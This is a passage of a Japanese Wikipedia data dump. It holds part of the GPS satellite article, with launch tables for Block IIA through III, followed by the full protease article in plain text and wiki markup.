| 37
| 07
|
| 成功
| 運用終了
|-
| 1993-06-26
| D221
| GPS 2-21 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1993-042A ナブスターIIA-12]
| 39
| 09
| A1-<nowiki>></nowiki>A3
| 成功
| SVN38/PRN08のバックアップ運用中
|-
| 1993-08-30
| D222
| rowspan="2"|CCAFS LC-17B
| GPS 2-22 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1993-054A ナブスターIIA-13]
| 35
| 05
| B5
| 成功
| 運用終了
|-
| 1993-10-26
| D223
| GPS 2-23 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1993-068A ナブスターIIA-14]
| 34
| 04
| D4
| 成功
|
|-
| 1994-03-10
| D226
| CCAFS LC-17A
| GPS 2-24 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1994-016A ナブスターIIA-15]
| 36
| 06
| C5
| 成功
|
|-
| 1996-03-27
| D234
| CCAFS LC-17B
| GPS 2-25 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1996-019A ナブスターIIA-16]
| 33
| 03
| C2
| 成功
|
|-
| 1996-07-16
| D237
| rowspan="3"|CCAFS LC-17A
| GPS 2-26 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1996-041A ナブスターIIA-17]
| 40
| 10
| E6
| 成功
|
|-
| 1996-09-12
| D238
| GPS 2-27 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1996-056A ナブスターIIA-18]
| 30
| 30
| B5
| 成功
| 運用終了
|-
| 1997-11-06
| D249
| GPS 2-28 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1997-067A ナブスターIIA-19]
| 38
| 08
| A3
| 成功
|
|}
SVN23の衛星にだけ「[[ラザロ]]」というニックネームが付いているが、これは2007年4月に命名されたもので、初期から付いていたわけではない。ニックネームの由来は、一度は機能停止していたのが復活したことから、死後4日目に生き返った[[キリスト教]]の[[聖人]][[ラザロ]]にちなんで命名されている。
=== ブロックIIRシリーズ ===
老朽化した初期の衛星の代替のため1989年にジェネラル・エレクトリック・アストロスペース社(後の事業売却のため[[ロッキード・マーティン]]社となる)との間で契約が結ばれた。当初は21機のIIR衛星を製作・打ち上げの予定であったが後期の8機は後継のIIRM衛星へ変更された。
衛星本体はロッキード・マーティン社のAS-4000型衛星をベースとしたもので、この衛星よりRb原子時計を3つ搭載(従来はCsとRb原子時計各2つを搭載)に変更されている。
打ち上げは1997年1月17日にIIR-1がデルタIIでロケットで打ち上げられたが、打ち上げ12秒後にロケットの爆発と共に失われた。同年6月23日IIR-2がデルタIIで打ち上げられ、以降2004年11月6日迄に合わせて12機が打ち上げられた。
;諸元
* 製造者:ロッキード・マーティン社
* 姿勢制御方式:3軸制御
* 太陽電池:パドル型×2枚
* キックモーター:Star-37FM
* 設計寿命:10年
* 重量:2032kg
* 軌道:高度20200km円軌道,軌道傾斜角55度
{| class="wikitable" style="margin: 1em 1em 1em 0"
|----- bgcolor="#FFDEAD"
! style="width:6em" | 打上げ日<br />(UTC)
! style="width:5em" | 打上げ<br />ロケット
! style="width:5em" | ロケットの<br />タイプ
! ロケットの<br />シリアルナンバー
! 射場
! 衛星名
! 宇宙機<br />ナンバー<br />(SVN)
! 疑似雑音<br />系列 ID<br />(PRN)
! PLANE
! 結果
! 備考
|-
| 1997-01-16
| rowspan="13"|デルタII
| rowspan="13"|7925
| D241
| rowspan="2"|CCAFS LC-17A
| GPS 2R-1 ナブスター42
| 42
|
|
| 失敗
|
|-
| 1997-07-23
| D245
| GPS 2R-2 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1997-035A ナブスター43]
| 43
| 13
| F3
| 成功
|
|-
| 1999-10-07
| D275
| rowspan="5"|CCAFS SLC-17A
| GPS 2R-3 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=1999-055A ナブスター46]
| 46
| 11
| D2F
| 成功
|
|-
| 2000-05-11
| D278
| GPS 2R-4 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2000-025A ナブスター47]
| 51
| 20
| E1
| 成功
|
|-
| 2000-07-16
| D279
| GPS 2R-5 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2000-040A ナブスター48]
| 44
| 28
| B3
| 成功
|
|-
| 2000-11-10
| D281
| GPS 2R-6 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2000-071A ナブスター49]
| 41
| 14
| F1
| 成功
|
|-
| 2001-01-30
| D283
| GPS 2R-7 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2001-004A ナブスター50]
| 54
| 18
| E4
| 成功
|
|-
| 2003-01-29
| D295
| rowspan="6"|CCAFS SLC-17B
| GPS 2R-8 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2003-005A ナブスター51]
| 56
| 16
| B1A
| 成功
|
|-
| 2003-03-31
| D297
| GPS 2R-9 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2003-010A ナブスター52]
| 45
| 21
| D3
| 成功
|
|-
| 2003-12-21
| D302
| GPS 2R-10 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2003-058A ナブスター53]
| 47
| 22
| E2
| 成功
|
|-
| 2004-03-20
| D303
| GPS 2R-11 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2004-009A ナブスター54]
| 59
| 19
| C3
| 成功
|
|-
| 2004-06-23
| D305
| GPS 2R-12 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2004-023A ナブスター55]
| 60
| 23
| F4
| 成功
|
|-
| 2004-11-06
| D308
| GPS 2R-13 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2004-045A ナブスター56]
| 61
| 02
| D1
| 成功
|
|}
=== ブロックIIRMシリーズ ===
IIR衛星にL1及びL2周波数上のMコードを乗せた軍用信号とL2周波数上のL2C民用信号(L2より高強度)を発信するように改良を加えたもので2005年9月26日よりデルタIIにより合計8機打ち上げられた。Mコードは軍用で敵対的なGPS信号へのジャミング対策がされている。
;諸元
* 製造者:ロッキード・マーティン社
* 姿勢制御方式:3軸制御
* 太陽電池:パドル型×2枚
* キックモーター:Star-37FM
* 設計寿命:10年
* 重量:2032kg
* 軌道:高度20200km円軌道,軌道傾斜角55度
{| class="wikitable" style="margin: 1em 1em 1em 0"
|----- bgcolor="#FFDEAD"
! style="width:6em" | 打上げ日<br />(UTC)
! style="width:5em" | 打上げ<br />ロケット
! style="width:5em" | ロケットの<br />タイプ
! デルタロケットの<br />シリアルナンバー
! 射場
! 衛星名
! 宇宙機<br />ナンバー<br />(SVN)
! 疑似雑音<br />系列 ID<br />(PRN)
! PLANE
! 結果
! 備考
|-
| 2005-09-26
| rowspan="8"|デルタII
| rowspan="8"|7925
| D313
| rowspan="8"|CCAFS SLC-17A
| GPS 2R-14M [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2005-038A ナブスター57]
| 53
| 17
| C4
| 成功
|
|-
| 2006-09-25
| D318
| [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2006-042A GPS 2R-15M] ナブスター58
| 52
| 31
| A2
| 成功
|
|-
| 2006-11-17
| D321
| GPS 2R-16M [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2006-052A ナブスター59]
| 58
| 12
| B4
| 成功
|
|-
| 2007-10-17
| D328
| [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2007-047A GPS 2R-17M] ナブスター60
| 55
| 15
| F2A
| 成功
|
|-
| 2007-12-20
| D331
| [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2007-062A GPS 2R-18M] ナブスター61
| 57
| 29
| C1
| 成功
|
|-
| 2008-03-15
| D332
| GPS 2R-19M [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2008-012A ナブスター62]
| 48
| 07
| A4
| 成功
|
|-
| 2009-03-24
| D340
| GPS 2R-20M [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2009-014A ナブスター63]
| 49
| 01
|
| 成功
| 運用終了
|-
| 2009-08-17
| D343
| GPS 2R-21M [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2009-043A ナブスター64]
| 50
| 05
| E3
| 成功
|
|}
=== ブロックIIFシリーズ ===
[[ボーイング]]社による第2世代4番目のGPS衛星として開発された[http://www.boeing.com/defense-space/space/gps/index.html]。更なる衛星の長寿命化と多ユーザーへの対応のためのプロセッサーの高速化及び記憶容量の強化が図られている。3つ目の民用信号L5周波数の提供に対応している。
2010年5月28日に初号の衛星が[[デルタロケット#デルタIV|デルタIV]]M+(4,2)により打ち上げられ,2010年8月27日に一般向け稼働を開始した。以降デルタIVM+(4,2)とアトラスVにより合わせて12機打ち上げられる予定[http://www.boeing.com/defense-space/space/bss/launch/launch_sched.html]。
;諸元
* 製造者:ボーイング社
* 姿勢制御方式:3軸制御
* 太陽電池:パドル型×2枚
* キックモーター:不要
* 設計寿命:15年
* 重量:1545kg
* 軌道:高度20200km円軌道,軌道傾斜角55度
{| class="wikitable" style="margin: 1em 1em 1em 0"
|----- bgcolor="#FFDEAD"
! style="width:6em" | 打上げ日<br />(UTC)
! style="width:5em" | 打上げ<br />ロケット
! style="width:5em" | ロケットの<br />タイプ
! ロケットの<br />シリアルナンバー
! 射場
! 衛星名
! 宇宙機<br />ナンバー<br />(SVN)
! 疑似雑音<br />系列 ID<br />(PRN)
! PLANE
! 結果
! 備考
|-
| 2010-05-28
| rowspan="3"|デルタIV M+(4,2)
| rowspan="3"|4240
| D349
| rowspan="3"|CCAFS SLC-37B
| GPS 2F-1 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2010-022A ナブスター65]
| 62
| 25
| B2
| 成功
|
|-
| 2011-07-16
| D355
| GPS 2F-2 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2011-036A ナブスター66]
| 63
| 01
| D2
| 成功
|
|-
| 2012-10-04
| D361
| GPS 2F-3 [http://nssdc.gsfc.nasa.gov/nmc/spacecraftDisplay.do?id=2012-053A ナブスター67]
| 65
| 24
| A1
| 成功
|
|-
| 2013-05-15
| アトラスV (401)
| 401
| AV-039
| CCAFS SLC-41
| GPS 2F-4 ナブスターxx
| 66
|
|
| 成功
|
|-
| 2014-02-21
| rowspan="2"|デルタIV M+(4,2)
| rowspan="2"|4240
| D365
| rowspan="2"|CCAFS SLC-37B
| GPS 2F-5
| 64
|
| A3
| 成功
|
|-
|-
| 2014-05-16
| D366
| GPS 2F-6
|
|
| D4
| 成功
|
|-
| 2014-08-01
| rowspan="2"|アトラスV (401)
| rowspan="2"|401
| AV-048
| rowspan="2"|CCAFS SLC-41
| GPS 2F-7
|
|
| F3
| 成功
|
|-
| 2014-10-29
| AV-050
| GPS 2F-8
|
|
|
| 成功
|
|-
| 2015-03-25
| デルタ IV-M+(4,2)
| 4240
| D371
| CCAFS SLC-37B
| GPS 2F-9
|
|
|
| 成功
|
|-
| 2015-06-16
| rowspan="3"|アトラスV (401)
| rowspan="3"|401
|
|
| GPS 2F-10
|
|
|
| 計画中
|
|-
| 2015-09-16
|
|
| GPS 2F-11
|
|
|
| 計画中
|
|-
| 2016-01-26
|
|
| GPS 2F-12
|
|
|
| 計画中
|
|-
|}
== 計画中の衛星 ==
=== ブロックIIIシリーズ ===
詳細は「[[グローバル・ポジショニング・システム ブロックIII]]」を参照
次世代のGPS衛星で2008年5月米空軍とロッキード・マーティン社の間に開発契約が結ばれた。同社の[[A2100]][[衛星バス]]をベースとして開発、最初の衛星はIIIAシリーズで8機製造され1号機は2014年に打上げを予定していたが、予算削減により2016年へ延期された<ref>{{cite news
| title = GPS III program faces cuts, more delays in 2015 budget
| url = http://defensesystems.com/Articles/2014/03/06/GPS-III-2015-budget-cuts.aspx?admgarea=DS&Page=1
| publisher = Defensesystems | date = 2014-03-06 | accessdate = 2014-3-30}}</ref>。以降、IIIBを8機、IIICが16機の合計32機予定されている[http://www.lockheedmartin.com/products/GPS/index.html]。
新しい4つ目のL1周波数上のL1C民用信号が利用できるようになる見込みであり、並行して軍用Mコードも改良される。L1C信号はヨーロッパのガリレオシステムの民用E1信号や日本の準天頂衛星システムと互換性を持つ予定。
;諸元
* 製造者:ロッキード・マーティン社
* 姿勢制御方式:3軸制御(A2100)
* 太陽電池:パドル型×2枚(A2100)
* キックモーター:
* 設計寿命:
* 重量:
* 軌道:高度20200km円軌道,軌道傾斜角55度
{| class="wikitable" style="margin: 1em 1em 1em 0"
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! PLANE
! 結果
! 備考
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| 2016予定
| デルタIVM+<br />or<br />アトラスV
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| GPS 3A-1
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|}
== 脚注 ==
<references />
== 関連項目 ==
* [[グローバル・ポジショニング・システム]]
* [[人工衛星の軌道]]
* [[ヴェラ (人工衛星)]]
* [[軍事衛星]]
* [[準天頂衛星システム]]
* [[Lバンド]]
== 外部リンク ==
* [https://www.kaiho.mlit.go.jp/soshiki/koutsuu/dgps/haibi.html 海上保安庁 GPS衛星の配備状況]
{{アメリカの偵察衛星}}
{{衛星測位システム}}
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[[Category:GPS|*えいせい]]
[[Category:アメリカ合衆国の人工衛星]] | null | 2022-12-17T22:42:27Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/GPS%E8%A1%9B%E6%98%9F |
6,858 | プロテアーゼ | プロテアーゼ (protease)は、タンパク質をより小さなポリペプチドや単一のアミノ酸への分解を触媒する (速度を上げる) 加水分解酵素の総称である。ペプチダーゼ (peptidase) やプロテイナーゼ(proteinase)とも呼ばれる。それらは、水が反応して結合を壊す加水分解によってタンパク質内のペプチド結合を切断する。プロテアーゼは、摂取したタンパク質の消化、タンパク質の異化作用 (古いタンパク質の分解)、細胞シグナル伝達など、多くの生物学的機能に関与している。
プロテアーゼのような付加的な助力機構がない場合、タンパク質分解は非常に遅く、何百年もかかる反応である。プロテアーゼは、植物、動物、バクテリア、古細菌などあらゆる形態の生命体やウイルスに見られる。それらは独立して収斂進化 (しゅうれんしんか) しており、異なるクラスのプロテアーゼは、完全に異なる触媒機構によって同じ反応を実行できる。
プロテアーゼは大きく分けて7つのグループに分類される。
プロテアーゼは、1993年に進化的関係に基づいて最初に84ファミリーに分類され、セリンプロテアーゼ、システインプロテアーゼ、アスパラギンプロテアーゼ、金属プロテアーゼの4つの触媒型に分類された。スレオニンプロテアーゼとグルタミン酸プロテアーゼは、それぞれ1995年と2004年まで記載されていなかった。ペプチド結合を切断する機構は、システインとスレオニンを持つアミノ酸残基 (プロテアーゼ) または水分子 (アスパラギン酸、金属プロテアーゼ、酸プロテアーゼ) がペプチドカルボキシル基を攻撃できるように求核性にすることである。求核試薬を作成する一つの方法は、ヒスチジン残基を用いてセリン、システイン、またはスレオニンを求核剤として活性化させる触媒三残基である。ただし、求核試薬の種類はさまざまなスーパーファミリーで収斂進化しており、一部のスーパーファミリーは複数の異なる求核試薬への分岐進化を示しているため、これは進化的なグループではない。
2011年に、第7の触媒型のタンパク質分解酵素であるアスパラギンペプチドリアーゼが報告された。そのタンパク質分解機構は、加水分解ではなく、脱離反応を行う珍しいものである。この反応では、触媒アスパラギンは、適切な条件下でタンパク質中のアスパラギン残基でそれ自体を切断する環状の化学構造を形成する。その根本的に異なる機構を考えると、ペプチダーゼに含まれるかどうかは議論の余地がある。
プロテアーゼの進化的スーパーファミリーの最新の分類は、MEROPSデータベースにある。このデータベースでは、プロテアーゼを構造、機構、触媒残基の順序に基づいて、最初に「クラン」(clan、タンパク質のスーパーファミリー) によって分類している (例: PAクラン(英語版)はPが求核性ファミリーの混合物を示す)。各「クラン」内でプロテアーゼは、配列類似性に基づいてファミリーに分類される (例: PAクラン内のS1とC3ファミリー)。各ファミリーには、何百もの関連プロテアーゼ (例: S1ファミリー内のトリプシン、エラスターゼ、トロンビンおよびストレプトグリシンなど) が含まれる場合がある。
現在、50以上のクランが知られており、それぞれがタンパク質分解の独立した進化的起源を示している。
また、プロテアーゼは、それらが活性を発揮する最適なpHによって分類されることもある。
プロテアーゼは、アミノ酸残基をつなぐペプチド結合を分割させることで、長いタンパク質鎖をより短い断片に消化することに関与している。
今日では切断位置によるエキソペプチダーゼとエンドペプチダーゼの分類が広く用いられる。
触媒作用 (英語版) は、2つの機構のいずれかによって達成される。
タンパク質分解は、非常に無差別 (英語版) な可能性があり、広範囲のタンパク質基質が加水分解される。これは、トリプシンのような消化酵素の場合で、摂取したタンパク質の配列をより小さなペプチド断片に切断できなければならない。無差別プロテアーゼは通常、基質上の単一のアミノ酸に結合するので、その残基に対してのみ特異性がある。例えば、トリプシンは、配列 ...K/.... または ...R/.... ('/'=切断部位) に特異的である。
逆に、一部のプロテアーゼは非常に特異的であり、特定の配列を持つ基質だけを切断する。血液凝固 (トロンビンなど) およびウイルスポリンタンパク質処理 (TEVプロテアーゼなど) は、正確な切断イベントを達成するためにこのレベルの特異性を必要とする。これは、指定された残基に結合するいくつかのポケットを備えた長い結合溝またはトンネルを有するプロテアーゼによって達成される。たとえば、TEVプロテアーゼは配列 ...ENLYFQ/S... ('/'=切断部位) に特異的である。
プロテアーゼは、それ自体がタンパク質であるため、他のプロテアーゼ分子 (時には同じ種類の分子) によって切断される。これはプロテアーゼ活性の調節方法として機能する。一部のプロテアーゼは、自己分解(autolysis)後に活性が低下するが (TEVプロテアーゼなど) 、他のプロテアーゼは活性が高くなる (トリプシノーゲンなど)。
プロテアーゼは、原核生物から真核生物、ウイルスに至るまで、あらゆる生物に存在している。これらの酵素は、食物タンパク質の単純な消化から高度に制御されたカスケード (たとえば、血液凝固カスケード、補体系、アポトーシス経路、無脊椎動物のプロフェノールオキシダーゼ活性化カスケード) まで、多くの生化学的反応に関与している。プロテアーゼは、タンパク質のアミノ酸配列に応じて、特定のペプチド結合を切断する (限定的なタンパク質分解) か、またはペプチドをアミノ酸に完全に分解する (無制限なタンパク質分解) かのいずれかである。その活性は、破壊的な変化 (タンパク質の機能を破壊するか、またはその主成分に消化する)、機能の活性化、またはシグナル伝達経路のシグナルとなることがある。
植物性レンネットと呼ばれるプロテアーゼを含む植物樹液は、ヨーロッパや中東で何百年にもわたってコーシャチーズやハラールチーズの製造に使用されてきた。ウィザニア・コアギュランス (Withania coagulans (英語版)) から採れる植物性レンネットは、インド亜大陸で消化不良や糖尿病のアーユルヴェーダ治療薬として何千年もの間使用されてきた。またパニールの原料としても使用される。
植物ゲノムは、大部分は未知の機能を持っている何百ものプロテアーゼを符号化している。機能がわかっているものは、主に発生調節に関与している。植物プロテアーゼは光合成の調節にも関与している。
植物には、プロテアーゼを豊富に含むものがある。
プロテアーゼは、さまざまな代謝プロセスのために生物全体で使用されている。胃に分泌される酸性プロテアーゼ (ペプシンなど) や十二指腸に存在するセリンプロテアーゼ (トリプシンやキモトリプシン) によって食物中のタンパク質を消化することができる。血液中の血清中に存在するプロテアーゼ (トロンビン、プラスミン、ハーゲマン因子など) は、血液凝固や血栓の溶解、および免疫系の正しい働きに重要な役割を果たす。その他のプロテアーゼ (エラスターゼ、カテプシンG) は白血球に存在し、代謝制御においていくつかの異なる役割を果たす。ヘビ毒の中には、マムシの血毒素のようなプロテアーゼもあり、犠牲者の血液凝固カスケードを妨害する。プロテアーゼは、ホルモン、抗体、または他の酵素のような重要な生理学的役割を果たしている他のタンパク質の寿命を決定する。これは、生物の生理学における最も速い「スイッチオン」と「スイッチオフ」の調節機構の一つである。
複雑な協調作用により、プロテアーゼはカスケード(英語版)反応として進行することがあり、その結果、生理学的シグナルに対する生物の応答の迅速かつ効率的な増幅される。
バクテリア (bacteria、細菌)は、タンパク質のペプチド結合を加水分解するためにプロテアーゼを分泌し、タンパク質を構成アミノ酸に分解する。タンパク質のリサイクルの中で、地球規模の炭素と窒素の循環にとって細菌や真菌のプロテアーゼは特に重要で、そのような活性はこれらの生物の栄養シグナルによって制御される傾向がある。土壌中に存在する何千もの種の間でプロテアーゼ活性の栄養制御による正味の影響は、タンパク質が炭素、窒素、または硫黄の制限に応じて分解されるように、全体的な微生物群レベルで観察することができる。
細菌には、変性タンパク質 (折りたたまれないまたは過って折りたたまれたタンパク質) を分解することにより、一般的なタンパク質の品質調整に関与するプロテアーゼ (たとえばAAA+プロテアソーム) が含まれている。
分泌された細菌性プロテアーゼはまた、外毒素として作用する可能性があり、細菌性病因(英語版)の病原因子 (たとえば黄色ブドウ球菌の外毒素) の一例となりうる。細菌性外毒素プロテアーゼは、細胞外構造を破壊する。
納豆菌は、フィブリン (血栓の主成分) を溶解するナットウキナーゼを含有する。
一部のウイルスのゲノムは、1つの巨大なポリタンパク質を符号化しており、これを機能的な単位に切断するためにプロテアーゼが必要である (例えば、C型肝炎ウイルスやピコルナウイルス)。これらのプロテアーゼ (例えばTEVプロテアーゼ) は高い特異性を持ち、非常に限られた範囲で基質配列のセットのみを切断する。したがって、これらのプロテアーゼは、プロテアーゼ阻害剤の一般的な標的である。
プロテアーゼ研究の分野は広大である。2004年以降、この分野に関連する論文は毎年約8000本が発表されている。プロテアーゼは、産業、医療、生物学で基礎研究ツールとして利用されている。
消化プロテアーゼは、多くの洗濯洗剤で使われる成分であり、また、パン業界では生地改良剤(英語版)として広く使用されている。さまざまなプロテアーゼが、その本来の機能 (たとえば、血液凝固を制御) または完全に人工的な機能 (たとえば、病原性タンパク質の標的破壊) の両方のために医学的に使用されている。TEVプロテアーゼやトロンビンなどの非常に特異的なプロテアーゼは、一般的に融合タンパク質やタンパク質タグを制御された方法で切断するために使用される。
プロテアーゼの活性は、プロテアーゼ阻害剤によって阻害される。プロテアーゼ阻害剤の一例として、セルピンスーパーファミリーがある。これには、α1-アンチトリプシン (自身の炎症性プロテアーゼの過剰な作用から体を保護する)、α1-アンチキモトリプシン(英語版) (同様に作用する)、C1-インヒビター(英語版) (自身の補体系の過剰なプロテアーゼ誘発活性化から体を保護する)、アンチトロンビン (自身の過剰な凝固から体を保護する)、プラスミノーゲンアクチベーターインヒビター1(英語版) (自身のプロテアーゼ誘発繊維素溶解をブロックすることにより、不十分な凝固から身体を保護する)、およびニューロセルピン(英語版)を含む。
天然プロテアーゼ阻害剤には、細胞の制御と分化に役割を果たすリポカリン(英語版)タンパク質のファミリーが含まれる。リポカリンタンパク質に結合した親油性リガンドは、腫瘍プロテアーゼ阻害作用を有することが見出された。天然プロテアーゼ阻害剤を、抗レトロウイルス治療で使用されるプロテアーゼ阻害剤(英語版)と混同してはならない。HIV/AIDSを含む一部のウイルスは、生殖周期においてプロテアーゼに依存している。そのため、抗ウイルス手段としてプロテアーゼ阻害剤が開発されている。
他の天然プロテアーゼ阻害剤は、生物の防衛機構として使用されている。一般的な例として、いくつかの植物の種子に含まれるトリプシン阻害剤(英語版)は、人の主要な食用作物である大豆において最も顕著で、捕食者を思いとどまらせるために作用する。生大豆は、含まれているプロテアーゼ阻害剤が変性されるまで、人間を含む多くの動物に毒性がある。 | [
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]
| プロテアーゼ (protease)は、タンパク質をより小さなポリペプチドや単一のアミノ酸への分解を触媒する (速度を上げる) 加水分解酵素の総称である。ペプチダーゼ (peptidase) やプロテイナーゼ(proteinase)とも呼ばれる。それらは、水が反応して結合を壊す加水分解によってタンパク質内のペプチド結合を切断する。プロテアーゼは、摂取したタンパク質の消化、タンパク質の異化作用 (古いタンパク質の分解)、細胞シグナル伝達など、多くの生物学的機能に関与している。 プロテアーゼのような付加的な助力機構がない場合、タンパク質分解は非常に遅く、何百年もかかる反応である。プロテアーゼは、植物、動物、バクテリア、古細菌などあらゆる形態の生命体やウイルスに見られる。それらは独立して収斂進化 (しゅうれんしんか) しており、異なるクラスのプロテアーゼは、完全に異なる触媒機構によって同じ反応を実行できる。 | [[File:TEV protease summary.png|thumb|250px|[[TEVプロテアーゼ]]の構造。[[基質 (化学)|基質]]とのペプチド結合を黒、触媒[[残基]]を赤で表す。({{PDB|1LVB}})]]
'''プロテアーゼ''' (protease)は、[[タンパク質]]をより小さな[[ポリペプチド]]や単一の[[アミノ酸]]への[[タンパク質分解|分解]]を[[触媒]]する (速度を上げる) [[加水分解酵素]]の総称である。'''ペプチダーゼ''' (peptidase) や'''プロテイナーゼ'''(proteinase)とも呼ばれる。それらは、水が反応して結合を壊す[[加水分解]]によってタンパク質内の[[ペプチド結合]]を切断する。プロテアーゼは、摂取したタンパク質の消化、タンパク質の[[異化 (生物学)|異化]]作用 (古いタンパク質の分解)、[[細胞シグナル伝達]]など、多くの生物学的機能に関与している<ref name="King 996–1007">{{Cite journal|last=King|first=John V.|last2=Liang|first2=Wenguang G.|last3=Scherpelz|first3=Kathryn P.|last4=Schilling|first4=Alexander B.|last5=Meredith|first5=Stephen C.|last6=Tang|first6=Wei-Jen|date=2014-07-08|title=Molecular basis of substrate recognition and degradation by human presequence protease|journal=Structure|volume=22|issue=7|pages=996–1007|doi=10.1016/j.str.2014.05.003|issn=1878-4186|pmc=4128088|pmid=24931469}}</ref><ref name="Shen 870–874">{{Cite journal|last=Shen|first=Yuequan|last2=Joachimiak|first2=Andrzej|last3=Rosner|first3=Marsha Rich|last4=Tang|first4=Wei-Jen|date=2006-10-19|title=Structures of human insulin-degrading enzyme reveal a new substrate recognition mechanism|journal=Nature|volume=443|issue=7113|pages=870–874|doi=10.1038/nature05143|issn=1476-4687|pmc=3366509|pmid=17051221}}</ref>。
プロテアーゼのような付加的な助力機構がない場合、タンパク質分解は非常に遅く、何百年もかかる反応である<ref>{{cite journal | vauthors = Radzicka A, Wolfenden R | title = Rates of Uncatalyzed Peptide Bond Hydrolysis in Neutral Solution and the Transition State Affinities of Proteases | journal = JACS | volume = 118 | issue = 26 | pages = 6105–6109 | date = July 1996 | doi = 10.1021/ja954077c }}</ref>。プロテアーゼは、植物、動物、バクテリア、古細菌などあらゆる形態の生命体や[[ウイルス]]に見られる。それらは独立して[[収斂進化]] (しゅうれんしんか) しており、異なるクラスのプロテアーゼは、完全に異なる[[酵素反応|触媒機構]]によって同じ反応を実行できる。
== プロテアーゼの分類<!-- Hierarchy of proteases -->==
=== 触媒残基に基づく分類<!-- Based on catalytic residue -->===
プロテアーゼは大きく分けて7つのグループに分類される<ref>{{cite journal |title=New families of carboxyl peptidases: serine-carboxyl peptidases and glutamic peptidases | first = Kohei | last = Oda | name-list-style = vanc |journal=Journal of Biochemistry |year=2012 |volume=151|issue=1|pages=13–25| doi= 10.1093/jb/mvr129 |pmid= 22016395 |doi-access=free }}</ref>。
* [[セリンプロテアーゼ]] - セリン[[アルコール]]を使用
* [[システインプロテアーゼ]] - システイン[[チオール]]を使用
* {{仮リンク|スレオニンプロテアーゼ|en|Threonine protease|label=}} - スレオニン[[アルコール#構造による分類|二級アルコール]]を使用
* [[アスパラギン酸プロテアーゼ]] - アスパラギン酸[[カルボン酸]]を使用
* {{仮リンク|グルタミン酸プロテアーゼ|en|Glutamic protease|label=}} - グルタミン酸[[カルボン酸]]を使用
* [[金属プロテアーゼ]] (メタロプロテアーゼ) - 金属、通常は[[亜鉛]]を使用<ref name="King 996–1007" /><ref name="Shen 870–874" />
* {{仮リンク|アスパラギンペプチドリアーゼ|en|Asparagine peptide lyase|label=}} - アスパラギンを使用して[[脱離反応]]を行う (水を必要としない)
プロテアーゼは、1993年に進化的関係に基づいて最初に84ファミリーに分類され、セリンプロテアーゼ、システインプロテアーゼ、アスパラギンプロテアーゼ、金属プロテアーゼの4つの触媒型に分類された<ref>{{cite journal | vauthors = Rawlings ND, Barrett AJ | title = Evolutionary families of peptidases | journal = The Biochemical Journal | volume = 290 ( Pt 1) | issue = Pt 1 | pages = 205–18 | date = February 1993 | pmid = 8439290 | pmc = 1132403 | doi = 10.1042/bj2900205 }}</ref>。[[スレオニン]]プロテアーゼと[[グルタミン酸]]プロテアーゼは、それぞれ1995年と2004年まで記載されていなかった。[[ペプチド結合]]を切断する機構は、[[システイン]]とスレオニンを持つアミノ酸残基 (プロテアーゼ) または水分子 (アスパラギン酸、金属プロテアーゼ、酸プロテアーゼ) がペプチド[[カルボキシル基]]を攻撃できるように[[求核性]]にすることである。求核試薬を作成する一つの方法は、[[ヒスチジン]]残基を用いて[[セリン]]、[[システイン]]、または[[スレオニン]]を求核剤として活性化させる[[触媒三残基]]である。ただし、求核試薬の種類はさまざまな[[タンパク質ファミリー|スーパーファミリー]]で収斂進化しており、一部のスーパーファミリーは複数の異なる求核試薬への分岐進化を示しているため、これは進化的なグループではない。
==== ペプチドリアーゼ<!-- Peptide lyases --> ====
2011年に、第7の触媒型のタンパク質分解酵素であるアスパラギンペプチドリアーゼが報告された。そのタンパク質分解機構は、[[加水分解]]ではなく、[[脱離反応]]を行う珍しいものである<ref name=":0">{{cite journal | vauthors = Rawlings ND, Barrett AJ, Bateman A | title = Asparagine peptide lyases: a seventh catalytic type of proteolytic enzymes | journal = The Journal of Biological Chemistry | volume = 286 | issue = 44 | pages = 38321–8 | date = November 2011 | pmid = 21832066 | pmc = 3207474 | doi = 10.1074/jbc.M111.260026 }}</ref>。この反応では、触媒アスパラギンは、適切な条件下でタンパク質中のアスパラギン残基でそれ自体を切断する環状の化学構造を形成する。その根本的に異なる機構を考えると、ペプチダーゼに含まれるかどうかは議論の余地がある<ref name=":0" />。
=== 進化的な系統<!-- Evolutionary phylogeny -->===
